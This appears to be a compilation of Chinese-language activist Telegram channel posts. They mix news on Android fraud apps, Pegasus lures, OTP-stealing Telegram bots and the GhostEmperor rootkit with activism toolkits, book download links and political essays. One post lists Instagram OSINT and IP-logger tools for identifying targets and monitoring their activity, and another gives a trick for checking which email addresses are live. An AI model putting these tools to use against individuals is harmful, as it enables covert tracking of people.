紫队是红队演习的一种进化，“紫”字反映了红蓝组队的混合。

但这三种都有各自的缺陷。

SCE可以弥补这些缺陷，并提供了一些好处，包括：

- SCE对系统有更全面的关注。主要的目标不是欺骗其他人员或测试警报；相反，这是为了主动识别由复杂分布式系统所引起的系统安全故障，并建立信心。
- SCE利用简单的隔离和受控实验，而不是复杂的攻击链。当同时进行大量更改时，很难控制爆炸半径，也难以将信号与噪声区分开。SCE大大降低了噪声。
- SCE提供了一种协作式学习体验，其重点是构建更具韧性的系统，而不是对事件做出反应。

SCE不一定与红队或紫队的发现或意图竞争。然而，SCE确实增加了一层有效性、透明度和可重复性，可以显著提高这些实践的价值。

红队和紫队的练习，根本无法跟上CI/CD和复杂分布式环境的步伐。现在，软件工程团队在24小时内会交付多个产品更新。在红队或紫队练习中获得的结果，其相关性很快就会降低，因为在此期间系统可能已经发生了根本的变化。

如果您希望在安全领域有所深入，这本新书将能够帮助您详细理解SCE。

下载：https://t.me/iyouport/8830

下载：https://www.patreon.com/posts/quan-hun-dun-55076760

《Copaganda: Police Trials as a State and Media Kettling Tool》

「图」

行动者工具包：实例框架——

「图」

今年我们同时启动了多个行动主义教程：

关于武器和防护装备及战术技巧的《示威参与者指南》、

研究战略智慧和吸纳经验教训的《行动主义》、

作为部署战略图谱的培训教程和工具推荐的《信息行动主义》、

对行动者的完整教程《整体安全》，

以及非常多的和尽可能同步的全球反抗经验，详解；

这些知识都是专业级的，对于从未接受过相关培训的中国行动者来说，它们很重要。

老读者知道，IYP不断强调战略智慧，用技巧而不是蛮力，但这必须建立在丰富的经验和知识的基础上。幸运的是，您不必亲自身经百战，也能通过全世界行动者的实践获得丰富的经验，这就是IYP一直在为您提供的。

我们从来不会就一个具体行动方案进行战略指导，这是因为，如果我们没有直接参与行动，这样做会产生不平衡的风险；如果我们直接参与行动，我们就绝不能公开讲述这个问题，一旦提前说出，它就会失效。

更重要的是，您应该学会在具体事件中主动进行专业级的思考，而不是等待菜谱 …… 对我们来说，授人以渔，而非鱼，既能保护我们所有人的安全—— 因为战略图在您的头脑中，您的对手无法偷走；也能帮您培养创造力—— 出其不意，而非套路，将是您制胜的关键。

众所周知，对抗警察暴力的运动必需必然是一场持久战，在全球范围内，远非这半年多来的几百场冲突。对此，行动者应该相应地做好准备，从安防到进攻，从战术到心理。最近，MediaJustice 和 MPD150 共同创建了一个框架式的协作工具包，该工具包虽然以这一项战略目的为中心，但其包含的内容中大部分将适合非常多不同的反抗行动。

比如：

虚假信息、错误信息、恶意信息；

镇压战术之水壶—包括抗议运动中的水壶，和作为媒体战术的水壶；

警察审判中的媒体操纵：人格暗杀、误导性、削弱反抗力量等；

应对方式—社区协作、公民记录真相、信息人性化；

心理层面—行动者的自我提升，联盟和团结，角色分配和轮班、紧急联系 ……等等

所有这些我们都介绍过。该工具包将最必要的部分提炼出来，于是它可以构建一个思考框架，作为行动者社区在部署过程中的基础考虑。

下面将上传的是一个PDF和一个图片的打包文件，后者可供打印以便在您的亲密团队中使用。尤其是，我们非常建议中国的行动者团队对这些资源进行本地化处理，添加适合于您的行动计划的需求。

下载：https://t.me/iyouport/8835

下载：https://www.patreon.com/posts/xing-dong-zhe-ju-55169271

Google Play商店中有**200**多个应用程序允许网络犯罪分子向受害者的手机发送恶意内容，可能获得了数千万美元的收入——

一个心率和脉搏追踪器，一个聊天翻译器，一个史莱姆模拟器游戏，还有一个指纹“保卫者”…… 移动安全公司 Zimperium 在一份新的分析报告中指出，一个网络犯罪集团利用**200**多个这样“低调”的应用程序，创建了一个提供欺诈性内容的平台，并从受害者那里吸走了数千万美元。

该公司称之为“GriftHorse”的平台由一堆不起眼的安卓应用组成——其中最受欢迎的应用的下载量不到100万，大多数应用的下载量要少得多。安装后，这些应用程序每小时都会向用户发出五个弹出式提醒，通知用户赢得了一份所谓的免费礼物。点击弹出窗口会进入一个要求用户提供电话号码的页面。如果受害者输入了电话号码，GriftHorse 服务器就会自动为他们注册几个高级短信服务。

Zimperium 公司终端安全产品战略总监理查德·梅利克（Richard Melick）说，这些低调的应用程序设法在雷达下低飞，避免了反病毒检测。

他说：“这些应用程序本身是晦涩难懂的，但有很多这样的应用程序。它们表面上不是恶意软件，相反，它们实际上是在浏览器中拉入网络内容，这就基本上绕过了很多安全防御”。

GriftHorse 的行动已经取得了巨大的成功。Zimperium 研究人员在他们的分析中指出，这些木马应用程序已经被安装在400万至1700万台设备上，针对70多个国家的用户，每月可能产生120万至350万欧元（140万至410万美元）。该活动自2020年11月以来一直在进行。

该行动的成功之处在于其低调的程序，没有触发反病毒检测或 Google Play Protect 的通知，该服务应该在用户下载应用程序之前进行扫描。这个特洛伊木马程序最初并没有恶意代码，而是在安装后下载了恶意功能，使其真实目的更难确定。

Zimperium 研究人员在分析中说，“总的来说，GriftHorse 安卓木马利用小屏幕、本地信任和错误信息来欺骗用户下载和安装这些安卓木马，以及在接受发送到他们的屏幕的虚假免费奖品时的挫折感或好奇心”。

几乎一半的应用程序（48%）被归类为工具，13%是娱乐；生活方式和个性化应用各占6%。其余的安卓应用则分散在其他15个类别中。

除了偷偷躲过杀毒软件的防御之外，该恶意行为成功的原因还有两个。首先，恼人的弹出式广告可能使一些用户明显感觉到这一恶意，但是，其他人—— 习惯于弹出式广告的那些人—— 却成为了攻击的受害者。

用户只想点击一下[广告]，让它消失，它利用了用户与手机的接触。

其次，在大多数情况下，高级短信订阅并不附带通知，而且往往可以隐藏在账单上。警惕的消费者有一个优势，那就是他们可以识别出每月账单的增加。然而，如果只有几个员工的电话被入侵，公司就可能不会注意到账单的变化。

这个成功的攻击计划也突出了几十年来对高级短信收费的服务的脆弱性，这是一个完美的欺诈工具。

您需要防备的不只有政府——

「图」

以色列的“飞马”Pegasus 间谍软件正在继续为网络犯罪者所使用。

最新消息显示，该间谍软件与印度网络安全公司 Innefu Labs 有关，因为属于该公司的一个IP地址被反复用于分发该间谍软件有效载荷。

然而，实际部署可能是Donot Team（APT-C-35）的工作，这是一个由印度黑客组成的集体，至少从2018年以来一直在攻击东南亚的政府。

攻击始于通过 WhatsApp 或电子邮件发送的未经请求的信息，⚠ 诱骗受害者安装一个所谓的“安全聊天应用程序” ChatLite。ChatLite 本身是一个专门设计的安卓版钓鱼应用，允许攻击者从设备中收集敏感数据并获得额外的恶意工具。

📌 请注意，*并没有*任何消息可确信此攻击形式“仅限印度”。

并且，近期很多攻击形式（包括蜜罐手机）均显示，威胁行为者专门瞄准那些注重数字安全的人群—— 显然，注重安全的人群必然包含异议人士、反对派、活动家、人权捍卫者、记者和人权律师。

⚠ 您应当非常小心，请随时记得不要随意听取和采纳不可信来源的所谓“安全建议”。我们的安全教程始终注重的是思考方式，而不是软件，您将非常需要掌握这些安全性判断的思考方式，以便科学地衡量您所接收到的安全建议是否恰当和适合您的需求。

时局—— 德国大选可能如何影响中国的地缘政治未来：在默克尔的身后，大西洋时代结束了吗？

「图」

任何答案都必须从法国在欧盟的角色开始，包括美国从阿富汗撤军。

在9月26日的选举之后，德国的执政联盟将采取何种形式仍不清楚。在这次选举中，由财政部长奥拉夫·肖尔茨领导的社会民主党（SPD）仅获得了超过四分之一的选票，即25.7%。现在德国的权力平衡由绿党和自由民主党掌握，这两个党派的得票率加起来超过了获胜的社民党或即将卸任的德国总理安格拉·默克尔的政党基民盟。

可以肯定的一点是，在执政16年后，默克尔将很快退出舞台。因此，现在出现的问题是。默克尔之后的欧洲将采取什么形式？

任何答案都必须从关注爱丽舍宫开始，因为法国总统埃马纽埃尔·马克龙(Emmanuel Macron)将成为法德伙伴关系中最资深的伙伴，该伙伴关系自1993年成立以来一直引导着欧盟。

如果马克龙在美国、英国和澳大利亚的AUKUS（一个新的三边安全联盟）给他带来的侮辱的激励下，追求他经常说的 “欧洲战略自主” 的愿望，可能会有重大变化。正如美国前国务院官员马克斯·伯格曼（Max Bergmann）最近指出的那样，AUKUS 的作用是 “增强了巴黎的利益相关者的权力，他们主张与华盛顿保持更冷淡的关系，并利用

戴高乐主义外交政策的传统，希望与美国结盟，但在与俄罗斯和中国有关的关键问题上不一定保持一致”。

法国将于2022年1月1日接任欧盟六个月的轮值主席国，但对欧盟内部更紧密的军事一体化的支持似乎已经在增长。9月2日，欧盟外交政策负责人何塞普·博雷利指出，“很明显，对更多欧洲防务的需求从未像今天这样明显—— 在阿富汗事件发生后”。与此同时，已经提出了建立一支5000人的快速反应部队的建议。

美国官员长期以来一直试图为任何走向欧洲自主防御能力的行动踩下刹车。马克龙有批评大西洋联盟的历史，以及他直截了当地将其前任尼古拉·萨科齐和弗朗索瓦·奥朗德称为 “进口新保守主义”。马克龙曾指出，北约正在经历 “脑死亡”，并任命法国前外交部长于贝尔·韦德里纳填补法国在2020年成立的北约委员会的席位，以考虑该联盟的未来。韦德里纳将 “美国把北约扩大到乌克兰的愿望” 描述为 “不幸的”。

如果马克龙成功建立了一支独立的欧洲防卫力量，这将明显降低北约在欧洲大陆的重要性，并使美国有机会重新评估其在欧盟的承诺，特别是，如果美国总统拜登继续对中国采取政治孤立和军事遏制的政策的话。

欧盟更大的自主权对美国和世界来说都是一件好事。它甚至可能成为英美国家安全机构似乎有意对俄罗斯发动的新冷战的一个障碍。毕竟，美国前总统德怀特·艾森豪威尔（Dwight “Ike” Eisenhower），以及战后世界的其他设计师，从未希望美国永久性地补贴欧洲的国防保护伞。此外，欧洲公众对美国针对俄罗斯和中国的新冷战几乎没有热情，欧洲外交关系委员会最近的一项调查证实了这一点。

如果马克龙在2022年春季的法国总统选举中获胜，他可能会加倍反对大西洋主义，这不是没有道理的。如果他输给了玛丽·勒庞，人们可能会看到与盎格鲁世界的关系有更彻底的转变。

从目前的情况看，默克尔之后的欧洲似乎终于可以看到欧洲人自立了。艾森豪威尔会同意的。

是时候重新考虑身份和身份认证了——

「图」

传统的身份和认证系统不具备处理现代需求的能力。零信任的安全

性、合规性、隐私性和访问的便利性都需要一种新的方法：无摩擦、基于身份的认证。

身份是当今最值钱的数字货币。一旦得到验证，它就能让你获得几乎所有的东西。历史上，身份是由出生证明、政府颁发的身份证和密码来验证的，最近则是由移动设备和生物识别技术来验证。

在网络犯罪分子的不断攻击下，我们看到如何定义身份和确保适当的认证的转变。传统的安全方法假定登录的人就是他们所说的人，但现代安全标准（如NIST 800–63–3和FIDO2）必须关注身份证明，并摆脱传统的密码。

这种安全方面的转变也必须包括用户的需求。由于需要记住多个账户和密码，安全问题是一个繁琐的过程，它仍然使用户面临很大的凭证泄露的风险。

以下是当今可能需要以不同方式思考身份和认证问题的四种方式。

1、身份和认证应合并在一起

通常情况下，安全问题集中在身份证明或无密码解决方案上。在实施两个可能不兼容但又必要的系统时，这种分离会给组织和客户带来摩擦。

保持身份信息和认证方式的分离有两个主要问题，特别是在处理员工和客户的时候。首先，对你的用户来说，认证永远不会是“无摩擦”的。他们将与多个密码和用户名打交道，这是一个漏洞。其次，如果你的员工因为个人原因以客户身份使用你的平台（想想看：银行员工也在你这里有账户吧），而你无法证明这是同一个人，只能证明这个人有正确的客户凭证。

我们现在不再需要用户名和密码来认证个人。生物识别技术、移动设备和多因素认证是强有力的工具。在开始时将这些方法与明确的身份证明结合起来，可以减少用户的摩擦，提高整体安全性。

2、用户必须能控制自己的身份

每当个人泄露了身份信息，他们就会面临风险。因此，用户希望对谁、什么、何时提供这些信息有更多的控制。今天，有几种方法可以将认证权交还给用户：

- 智能手机验证生物识别数据

- 提供一次性密码（OTP）的应用程序和设备
- 在计算机和移动设备中使用可信平台模块（TPM）芯片来存储加密密钥和其他数据
- 使用区块链来存储可识别信息
- 需要用户同意才能提供验证详细信息

鉴于这些选择，用户对身份和认证的控制必须是一项要求。

3、认证应与风险相对应

尽管上面列出的技术很有前途，但大多数企业并没有利用它们。相反，他们继续投资于陈旧的认证形式，与日益复杂的风险不相适应。虽然双因素认证有帮助，但这并不是一个一刀切的解决方案。每个用户都有不同程度的风险，他们的认证也必须相应地匹配。

认证应该支持多种方法，但它可以包括企业账户验证、电子邮件地址访问和生物识别技术—— 除了前面提到的SMS和OTP之外。

企业不需要实施所有可用的因素，但应根据其组织和用户的风险，针对性确定其用途。考虑到用户希望控制自己的身份，以保持积极的体验，同样重要的是要意识到需要潜在地允许他们自己决定何时采用较新的认证方法。

4、可管理的实施

过渡到新的解决方案是一个微妙的过程。在没有确定你的企业的复杂需求或没有让你的员工和客户做好准备的情况下，过快地行动是很可能失败的。首先专注于如何最好地整合身份和认证，然后从那里开始建立。

身份的概念已经存在了几十年，然而认证却没有赶上其先进的威胁—— 直到现在。现在是时候了，不要再寄希望于传统的系统，而要接受新的认证和存储信息的手段。这将创造更好的认证效率、用户体验和组织安全性。

警惕：**Telegram**机器人正试图窃取您的一次性密码 ——

「图」

Telegram 驱动的机器人被用来窃取两因素身份验证 *(2FA)* 安全所需的一次性密码。

9月底，来自 Intel 471 的研究人员说，他们看到了提供这些服务的数量“上升”，在过去几个月里，2FA规避解决方案的种类似乎正在扩大——机器人成为了攻击者的热门选项。

双因素认证（2FA）可以采取一次性密码（OTP）令牌、代码、链接、生物识别的形式，或者通过一个物理加密装置来确认账户所有者的身份。最常见的是，2FA令牌是通过短信发送至手机或电子邮件地址的。

虽然2FA可以改进单独使用密码来保护账户的传统做法，但威胁行为者很快就开发出了拦截OTP的方法，如通过恶意软件或社交工程。

根据英特尔471，自6月以来，一些规避2FA的服务正在滥用Telegram。威胁行为者正在使用 Telegram 机器人和频道以及一系列策略来获取帐户信息，包括致电受害人、冒充银行和合法服务等。经常从受害者的账户中带走数千美元。

他们在报告中写道：“攻击者可以轻易使用这些机器人”；“虽然创建机器人需要一些编程能力，但用户只需要花钱访问机器人程序，获取目标的电话号码，然后点击几个按钮。”

事实上，Telegram bot 早已成为网络犯罪分子的流行工具，他们以各种方式利用它作为用户欺诈的一部分。今年1月份发现了一个类似的活动，名为Classiscam，在该活动中，讲俄语的网络犯罪分子将机器人作为服务出售，目的是从欧洲受害者那里窃取金钱和支付数据。已经发现其他威胁行为者以一种相当独特的方式使用 Telegram 机器人作为间谍软件的命令和控制。

在本例中，英特尔471研究人员观察并分析了三个机器人的活动，它们分别是 SMSRanger、BloodOTPbot 和 SMS Buster。

4 月，Check Point Research 还披露了存在一种名为 ToxicEye 的远程访问木马 (RAT)，该木马滥用 Telegram 平台，利用其命令和控制 (C2) 基础设施中的通信服务。

中国间谍组织部署了与 **Windows 10** 系统兼容的新 **Rootkit——**

「图」

在最近的 SAS 2021 安全会议上，安全公司卡巴斯基实验室的分析师公布了一个新的中国网络间谍组织的细节，该组织至少从2020年7月

起就开始针对东南亚地区的高知名度实体。

该威胁组织被命名为 GhostEmperor。卡巴斯基表示，该组织使用高度复杂的工具，并经常专注于通过使用一个强大的 rootkit 来获得并保持对受害者的长期访问，该 rootkit 甚至可以在最新版本的 Windows 10 操作系统上工作。

卡巴斯基研究人员解释说："我们观察到，潜在的威胁行为者设法在几个月内保持低调"。

GhostEmperor 的黑客攻击的切入点是面向公众的服务器。卡巴斯基认为，该组织利用 Apache、Oracle 和微软 Exchange 服务器的漏洞，侵入目标的外围网络，然后转向受害者网络中更敏感的系统。

根据会议期间发布的一份技术报告，GhostEmperor 使用各种不同的脚本和工具在受害者的网络中部署后门。

这个后门（内存中的植入物）随后被用来下载和运行 Cheat Engine，这是一个被在线游戏玩家用来在他们喜欢的视频游戏中引入作弊器的工具。

卡巴斯基表示，GhostEmperor 利用 Cheat Engine 的强大驱动力绕过 Windows PatchGuard 的安全功能，在受害者的 Windows 操作系统内安装一个 rootkit。

研究人员说，这个名为 Demodex 的 rootkit 非常先进，即使在重装操作系统后，甚至在运行最新版本的 Windows 10 操作系统的机器上，该组织也能保持对受害者设备的访问。

但这并不是 GhostEmperor 的唯一伎俩。卡巴斯基还指出，该组织的恶意软件充满了"一套广泛的不寻常的和复杂的反取证和反分析技术"，试图阻止或至少妨碍安全研究人员试图分析他们的恶意软件。

此外，GhostEmperor 还使用了另一个巧妙的技巧，即通过将数据重新包装成假的多媒体格式，修改受感染主机与指挥和控制服务器之间的通信。

研究人员解释说，发现来自 GhostEmperor 的恶意软件的流量的安全应用程序通常会将其归类为托管在亚马逊服务器上的 RIFF、JPEG或PNG文件。

虽然卡巴斯基没有透露该组织的目标都是谁，但他们说

GhostEmperor 的目标是东南亚（马来西亚、泰国、越南和印度尼西亚）的政府实体和电信公司，在埃及、阿富汗和埃塞俄比亚也有出现。

报告：https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/30094337/GhostEmperor_technical-details_PDF_eng.pdf

什么是代理，以及如何使用它们来使互联网连接更加匿名/私密——

「图」

Proxychains 允许您使用一个简单的格式将尽可能多的代理串联在一起。我们早前对此有过介绍，见《增强匿名性的简单方法》。

这里是一个视频教程，它进入Tor浏览器首选项，帮助 Windows 用户学习配置一个代理。这种配置也适用于其他浏览器：https://t.me/iyouport/8844

代理链是渗透测试人员和OSINT/LE调查员使用的工具；世界各地的人权活动家也需要类似的保护，以便继续在线上线下为权利而战；

民主的生存条件之一是自由、独立的新闻，记者和其他将自己的生命置于危险之中的人，都需要对在现场保护自己身份的能力有足够的信心。

这就是为什么您需要了解这些知识。

隐私是人权问题中的金丝雀。当隐私受到攻击时，所有其他权利都会受到威胁。隐私是有能力保护所有其他权利的最基本的人权。没有它，就没有任何权利是真正安全的。

“面包、工作、自由” ——

「图」

这是 Haft-Tappeh 工人首先喊出的口号；这个口号现在已经跨越了国界，进入了阿富汗妇女反对塔利班的斗争中。

现在，阿富汗妇女和伊朗的工人之间有一个共同的、统一的立场；阿富汗妇女也想要工作、面包和参与社会的自由。

这是我们各地人民在中东地区想要的最真实、最热情的口号。

另一个非常重要的一点是他们反对政治伊斯兰（Political Islam）的立场。在伊朗的工人和在阿富汗寻求工作、面包和自由的妇女都是最大的反政治伊斯兰的力量。

人民以相同的立场和共同的目标反击伊朗和阿富汗政府的时刻将会到来。

一场针对政治伊斯兰的反抗运动，不仅在一个政治地域，而且在他们管辖的所有地区；多个国家和数百万人联合起来要求 “工作、面包和自由”—— 这将是一场革命。

بار کارگران هفت تپه سر داده بودند؛ شعاری که اکنون مرزهااین شعاری بود که اولین
را دریده است و وارد مبارزه

زنان در افغانستان علیه طالبان شده است.

اکنون، موضع یکسان و متحدی بین زنان افغانستان و کارگران در ایران وجود دارد؛
خواهند تا آزادی اشتراک در جامعه را به‌خواهند، نان می‌زنان افغانستان نیز کار می
دست بیاورند.

ترین خواست و پرشورترین شعاری است که مردمان ما در هر جایی ازاین بر حق
خاورمیانه خواهان آن هستند.

نکته بسیار مهم دیگر ایستادن آنان در برابر اسلام سیاسی است. هردو، هم کارگران در
ایران و هم زنان خواهان کار و نان و آزادی در افغانستان، بزرگترین نیروی ضد
سیاست اسلامی هستند.

ها درزمانی خواهد رسید که حمله مردم با همین موضع و همین اشتراک، علیه دولت
ایران و افغانستان، همزمان صورت بگیرد.

حرکتی که اسلام سیاسی را نه فقط در یک جغرافیای سیاسی، بلکه در کلیت مناطق
دهد؛ چند کشور و چندین میلیون انسان خواهان «کار،تحت اقتدارشان، هدف قرار می
نان، آزادی» و این یک انقلاب خواهد بود.

این شعار روزی، برجسته ترین نماد اتحاد و اشتراک مردمان خاورمیانه خواهد شد.

به امید آن روز و نان، کار، آزادی!

1. 时局 #BRI #中东 #protest

就像恐怖的科幻电影中的情节一样，武器公司已经开始将步枪安装在半自动机器狗的背上。

在美国，华盛顿特区的一个陆军展会上展示了这个《黑镜》式的创作。

这种狗被称为四足无人地面车辆（Q-UGV），由位于费城的 Ghost Robotics 公司制造。

该公司说："它们在广泛的政府和企业应用中占有一席之地，在这些应用中，具有四条腿的移动机器人比车轮、履带甚至双足系统具有更多固有的优势"。

另一家名为 SWORD International 的公司决定将突击步枪安装在 Q-UGV 的背面，并在 Instagram 上发布了照片。在那里它获得了一千多个点赞。

他们称其为 SPUR，即 特殊用途无人步枪。这把枪本身是一把6.5毫米突击步枪。

有一个机载瞄准系统，士兵可以通过安装在军方发放的平板电脑上的应用程序来控制这个机器狗。

虽然这种特殊的武器还没有被美国军队使用，但美国空军正在使用几种非武装版的 Q-UGV。

在军队中使用机器人武器也不仅仅是美国的事。去年，英国武装部队的负责人尼克·卡特爵士表示，机器人战争是未来的趋势。他说，"为2030年设计的武装部队" 可能包括诸如能够与人类并肩作战的自主或远程控制的机器。

《The Inner Level》

「图」

你孤独吗——

「图」

你是否经常有一肚子的话却无人诉说？你是否呆在家里消耗假期却不知道该约谁一起玩？你觉得身边的人都不理解你吗？你是否偶尔会担

心自己将来老无所依？ ……

孤独是一个全球性的危机。根据英国 “结束孤独运动” 组织的调查，45%的成年人在英国感到 “偶尔、有时或经常的孤独”。在2019年的一项民意调查中，22%的千禧一代报告说，他们 “没有朋友”。世界卫生组织发现，在从欧洲到印度到拉丁美洲等地，孤独感影响了20%-34%的老年人。美国前外科医生维韦克·穆尔西(Vivek Murthy)在2017年将这一问题称为 “流行病”，甚至在COVID-19大流行病及其随之而来的封锁之前，已经使整个事情变得更加糟糕。

孤独的问题并不完全是一个情感问题。哈佛大学一项近八十年的纵向研究发现，当涉及到人类健康和幸福时，家庭、友谊和社区是最具决定性的因素。

“照顾你的身体很重要，但照顾你的人际关系同样是一种重要的自我照护”，该研究的负责人、哈佛大学医学院精神病学教授罗伯特·瓦尔丁格博士说。

在2015年的一项研究中，心理学家 Julianne Holt-Lunstad 发现，孤独是高血压、冠心病、中风和抑郁症的一个风险因素。该研究中一个经常被重复的事实认为，孤独对你来说就像每天抽15支烟一样糟糕。

鉴于这些信息，孤独的危机特别令人震惊。

有些人指责社交媒体。在2010年代初就有文章流传，询问在 Facebook、YouTube 和其他网站上花费时间是否导致人们不再培养他们在现实生活中的友情。虽然过度使用社交媒体可能是有害的，但适度的使用可以帮助人们保持联系—— 特别是在像COVID-19封锁这样的特殊时期。

而且，无论如何，还有一个更大的阻碍亲密关系的因素，那就是：资本主义。

在 “内卷” 中挣扎的人们，很少能有时间去看望自己的家人和维持现有的友谊—— 更不用说创造和培养新的友谊了。例如，当你从事多份工作（通常是不规则的轮班时间），通勤，照顾孩子和家庭成员，并做一些基本的工作，如做饭，去杂货店，洗衣服，有时同时进行，就很难抽出时间去见朋友。社交时间往往必然被排在待办事项的末尾。可以免费或便宜地度过社交时间的公共场所也越来越少，而且当资金紧张时，必需品会被优先考虑。这些因素意味着繁忙的社交生活越来越多地只有保留给那些有能力的人。

当然，鸡汤们总是会推荐方法以增加你花在社交上的时间。比如你可以提高你的时间管理技能，设定具体的日期去会见其他人，并在计划落空时始终跟进，重新安排时间。你可以通过参与一项运动、一个宗教团体或一个政治组织来认识新朋友。某种形式的“加入一个俱乐部”是减少孤独感的方法清单上的一个标准。

但这些都是针对通常是集体问题的个人化解决方案。而现实情况是，一天只有这么多时间，对大多数人来说，这些时间大多被某种形式的劳动所占用了，剩下的时间很少—— 而且精力更少—— 用于交友。多年来议会预算的削减已经看到社区空间正在以惊人的速度被关闭，留给“俱乐部”的空间越来越被挤压到了墙角。

另一个问题与资本流动破坏了长期的社区关系有关。在农村城镇和后工业化城市，资本已经逃离。这些地方的年轻人发现自己被拉到了伦敦或纽约等资本中心，就像中国人奔向北上广那样，一切只是为了“找到好工作”。

理论上，搬到大城市并不一定意味着疏远；比如对许多LGBT人士来说，主要城市中心仍然是他们第一次寻求真正社区的地方。但是，大规模的人口外流往往是疏远的，无论是对离开的人来说还是对留下的人。

在其他情况下，社区的解体是反向发生的。在城市中心长大的人被不断上涨的租金所排挤出局，分散到更便宜的地方。他们在新的社区可能会遇到新的人，但与几年、几十年、几代人建立起来的纽带是无可比拟的。

除了时间和空间的问题之外，极端的不平等更使人们难以拥有真正的关系。流行病学家凯特·皮克特和理查德·威尔金森在这本书中写道，人类对“社会评价威胁”反应强烈，也被称为对他人想法的恐惧。经济不平等的程度越高，人们就越是想要争夺社会地位，担心自己在等级制度中的地位。但是，健康的关系需要彼此的脆弱性表达和彼此的信任：与资本主义社会神经症式的完全相反。

如果我们想拥有一个不那么孤独的社会，我们需要把人的需求——和人际关系—— 放在中心位置。但你可以确定，在现有的制度下，这不会发生。

下载：https://t.me/iyouport/8855

下载：https://www.patreon.com/posts/ni-gu-du-ma-55328278

《How China Escaped Shock Therapy: The Market Reform Debate》

「图」

未走的路：中国如何摆脱休克疗法——

「图」

为了说明20世纪80年代中国市场改革辩论的利害关系，伊莎贝拉·韦伯以一些戏剧性的图表开始这本2021的新书。第一张图就比较了1990年至2017年期间俄罗斯和中国在世界GDP中的份额。它显示，俄罗斯的比例在这一时期减半，而中国的比例增长了近七倍。

韦伯认为，这种巨大的差异是1991年后在俄罗斯实施的休克疗法政策的结果，首先是价格的全面自由化。按照新自由主义经济学家的定义，目标是尽可能快地从国家社会主义经济过渡到资本主义经济。

在这种观点下，渐进的市场改革只会导致倒退。成功的唯一保证是一举取消价格控制和社会补贴，迫使现有企业在残酷的竞争环境中生存，消除旧的做法，清除枯木，为更健全的、基于市场的发展奠定基础。

俄罗斯走了这条路，然后它崩溃了。从那时起，它的增长是不平衡的，但总体上是缓慢的。然而，中国抵制了这一处方。现在中国已经深深地融入了全球资本主义，但韦伯认为，它并没有与新自由主义的规范进行 “全盘同化” 或 “全面的制度融合”。她写道：“中国的经济和它仅有的 ‘部分同化’ 之间的这种紧张关系决定了我们现在的处境”。这本书的目的是解释这种分歧。

在毛泽东之后的第一个十年里，中国的改革者们出现了严重的分歧。他们一致认为，中国必须改革其经济体系，并朝着更多的市场化方向发展—— 但在如何进行改革的问题上争论不休。中国应该通过休克疗法摧毁社会主义制度的核心吗，还是应该利用计划经济体制作为市场的创造者？事后看来，历史记录证明了这个问题背后的高风险。

基于广泛的研究，包括对关键的中国和国际参与者以及世界银行官员的采访，包括从未发表的文件中收集到的见解，这本书描绘了最终使中国走上逐步再工业化道路的辩论过程。

除了揭示20世纪80年代的十字路口之外，它还通过一个长期的视角揭

示了改开时期中国国家与市场关系的思想基础。总的来说，这本书对中国的经济模式及其内部和外部的持续争论提供了一个原创的视角。

然而，如果使用不同的衡量标准—— 经济不平等—— 中俄的结果会更加一致。韦伯本人几乎只对国内生产总值的增长感兴趣，没有探讨这方面的问题。然而，这一点在她从世界财富和收入数据库中复制的一张图里变得非常明显，该图列出了1980年至2015年间俄罗斯和中国不同阶层人口的收入趋势。中国的国家社会主义版本比俄罗斯的国家社会主义版本要平等得多，但是，向资本主义的过渡对这两个国家都产生了同样的影响—— 收入差距的巨大增加，最高的1%的阶级比其他99%的人口情况要好得多。该图显示了休克疗法对整个俄罗斯人口的灾难性影响，收入在五年内减半。这对低收入者来说尤其艰难，按市场汇率计算，他们的收入暴跌至1000美元以下，甚至低于中国最贫穷的一半人口的水平。

如果我们从90年代中期的低谷开始，这标志着中国和俄罗斯强化资本主义转型的开始，就可以看到，这两个国家的趋势是惊人的相似。处于底层的人们看到自己的收入大体上同步上升，而他们同时看到精英阶层变得非常富有。到2015年，中国和俄罗斯的收入比例的紧密贴合表明，事实上，向资本主义的过渡至少有一个确定的结果，无论其领导人采用什么策略来实现。不管有没有休克疗法，资本主义转型都会产生社会经济的两极分化，在全球范围内，经济学家们普遍不了解这种情况。

下载：https://t.me/iyouport/8860

下载：https://www.patreon.com/posts/wei-zou-de-lu-ru-55375196

1. OSINT #Instagram 的开源情报工具—识别目标身份、监视其活动:

□login (Restore Access)

□private_api (API)

□osi.ig (Analysis)

□osintgram (Analysis)

□minter (Analysis)

□nativeflow (Analysis)

- byratino (Framework)
- maigret (Find Nickname)
- whatsmyname (Find Nickname)
- search4faces (Find Photo)
- findclone (Find Photo)
- yandex (Find Photo)
- archive (Archive Page)
- isphere (Find Phone)
- eyeofgod (Find Phone)
- canarytokens (Check IP)
- iplogger (Check IP)

E&T 的副主编 Ben Heubl 已经辞职，他的推特账户似乎被推特算法隐藏了，很多情况下你看不到他发布的内容。现在他注册了另一个新账户 “Techjournalisto”，他正在和其他人合作收集新闻文章，这些文章使用开源情报技术来验证或调查一个报道，并将这些链接保存在 Google 表格中。

您可以从这里看到有哪些开源情报技术被用于调查、揭穿造假、或验证新闻故事：https://docs.google.com/spreadsheets/d/16iPAPeqf9-GVtzaYeioorLsxUvYB-iSdKoLgY4w3A3w/

「图」

1. tip 假设你有一堆电子邮件地址，你想检查其中哪一个可能是真实的或不真实的。你可以把它们导入到谷歌表格中，用鼠标光标简单地悬停一下，你就可以发现哪些是活跃的或不活跃的。

如果头像与标准的 Google blue 中的头像不同，并且如果聊天选项是激活状态的，那么它似乎是一个活跃的电子邮件地址。这是谷歌表格的一个方便的小功能。

1. tools 它是一个为数据囤积者或对公开可用数据有兴趣的调查者

提供的资源清单。其中有一些很好的工具，比如说 FileChef，它提供了一些谷歌CSE来寻找谷歌文档中的公共文件。一个非常好的链接、subreddits和网站的集合：https://github.com/dadulo3/awesome-opendirectories

在黑客利用 Coinbase 基于短信的双因素认证系统的漏洞入侵账户后，超过6000名 Coinbase 用户的账户资金被盗。

该交易所在提交给美国各州检察长办公室的数据泄露通知书中说，入侵发生在今年早些时候，即3月至5月之间。

Coinbase 说："第三方利用了 Coinbase 短信账户恢复流程中的一个缺陷，以接收短信双因素认证令牌，并获得对您的账户的访问"。

Coinbase说，只有在知道受害者的用户名和密码的情况下，这些攻击才能利用这个漏洞。

"虽然我们无法最终确定这些第三方是如何获得这些信息的，但这种类型的活动通常涉及网络钓鱼攻击或其他社交工程技术，以欺骗受害者在不知情的情况下将登录凭证透露给不良行为者"。

根据 CoinMarketCap 的数据，Coinbase 是当今世界上第二大加密货币交易所，仅次于 Binance。

📌 《多因素身份验证并没有您想象中那么安全》。

一种以前未被发现的恶意软件品牌正被用于针对 **#Linux** 系统的攻击——

「图」

